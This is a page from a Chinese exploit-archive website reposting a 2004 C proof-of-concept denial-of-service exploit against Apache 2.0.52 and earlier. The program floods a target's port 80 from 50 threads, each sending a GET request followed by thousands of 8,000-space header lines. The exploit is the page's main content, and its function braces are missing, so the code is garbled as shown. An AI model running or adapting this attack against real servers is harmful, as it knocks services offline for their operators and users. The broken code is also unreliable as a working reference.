首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache 2.0.52 and earlier DoS Exploit
来源:vfocus.net 作者:vfocus 发布时间:2004-11-15  

Apache 2.0.52 and earlier DoS Exploit

#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")

DWORD WINAPI attack(LPVOID);
char target[256];

int main(int argc, char* argv[])

int l=0;
int j;
DWORD dw;
HANDLE hd;
if(argc<2)
{
printf("usage: %s target", argv[0]);
exit(0);
}

strncpy(target, argv[1], 256);
printf("Attaching %s ...\n", target);
for(j=0;j<50;j++)
hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);

for(j=0;j<50;j++)
WaitForSingleObject(hd, INFINITE);

printf ("done");
return 0;


DWORD WINAPI attack(LPVOID l)

int s;
SOCKADDR_IN sck;
HOSTENT *host;
char buff[256];
char space[8000];
int i;

WSADATA wsadata;

WSAStartup(MAKEWORD(1,1),&wsadata);

memset(space, ' ', 8000);
space[7998]='\n';
space[7999]='\0';

if((host=gethostbyname(target))==NULL)
{
printf("Host not found");
return -1;
}
sck.sin_family = PF_INET;
memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
sck.sin_port = htons(80);

if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
{
printf("Socket couldn't be initiallized");
return -1;
}
if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
{
printf("Couldn't connect");
return -1;
}

sprintf(buff, "GET / HTTP/1.0\n");
//printf("%s",buff);
int len=strlen(buff);

if((send(s,buff,len,0))==-1)
{
printf ("send error");
closesocket(s);
return -1;
}

for(i=0;i<9999;i++)
{

if((send(s,space,strlen(space),0))==-1)
{
printf("Send Error on header number %d", i);
closesocket(s);
return -1;
}

}
closesocket(s);
return 0;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IPSwitch-IMail 8.13 Delete Com
·Eudora 6.2 Remote Attachment S
·Kerio Personal Firewall Multip
·Multiple Antivirus Products Vi
·Linux Kernel ELF Binary Loader
·UBB.Threads 6.2.*-6.3.* one ch
·MiniShare <= 1.4.1, Remote
·Apache <= 2.0.52 HTTP GET R
·qwik-smtp Remote Root Exploit
·SLmail 5.x POP3 Remote Pass Bu
·CCProxy Log Stack Overflow Exp
·Microsoft Windows Compressed (
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved